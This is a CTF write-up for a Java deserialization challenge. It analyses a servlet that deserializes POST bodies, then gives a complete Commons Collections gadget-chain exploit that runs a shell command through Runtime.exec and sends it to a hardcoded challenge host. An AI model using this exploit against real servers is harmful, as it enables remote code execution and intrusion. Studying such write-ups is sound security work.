# Real world CTF
## Old system
> How to exploit the deserialization vulnerability in such an ancient Java environment ? Java version: 1.4.2_19
Unzip the .war and decompile the two java classes at https://jdec.app/
The code runs a servlet at http://54.177.240.164:28080/ which accepts HTTP POST requests and prints deserialized objects from request to response.
```java
protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
ClassLoader var4 = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(this.appClassLoader);
try {
ClassLoaderObjectInputStream var5 = new ClassLoaderObjectInputStream(this.appClassLoader, var1.getInputStream());
Object var6 = var5.readObject();
var5.close();
var3.print(var6);
} catch (ClassNotFoundException var10) {
var10.printStackTrace(var3);
} finally {
Thread.currentThread().setContextClassLoader(var4);
}
}
```
`readobject()`in the request handle will deserialize any available class. We can find potential vulnerable classes by looking at the `init()` function which loads the following .jar files:
* commons-beansutils.jar (version 1.6)
* commons-collections.jar (version 2.1 and it is vulnerable)
* commons-logging-1.0.4.jar
* log4j-1.2.8.jar
Potential target is to use Apache Commons classes: https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
The vulnerability is called **Mad Gadget** and there are tools to exploit it: https://github.com/frohoff/ysoserial
### exploit
craft a Java program that executes a command on the server.
```
package com.mycompany.app;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.net.http.HttpRequest.BodyPublishers;
import java.util.HashMap;
class exploitobject {
public static Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
}
}
class exploit {
public static void main(String[] args) {
try {
Object exploitObject = exploitobject.getObject("ls");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(exploitObject);
oos.close();
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create("http://54.177.240.164:28080/"))
.POST(BodyPublishers.ofByteArray(baos.toByteArray()))
.build();
HttpResponse<String> response = client.send(request,
HttpResponse.BodyHandlers.ofString());
System.out.println("output:" + response.body());
}
catch (Exception e) {
System.out.println(e.toString());
}
}
}
```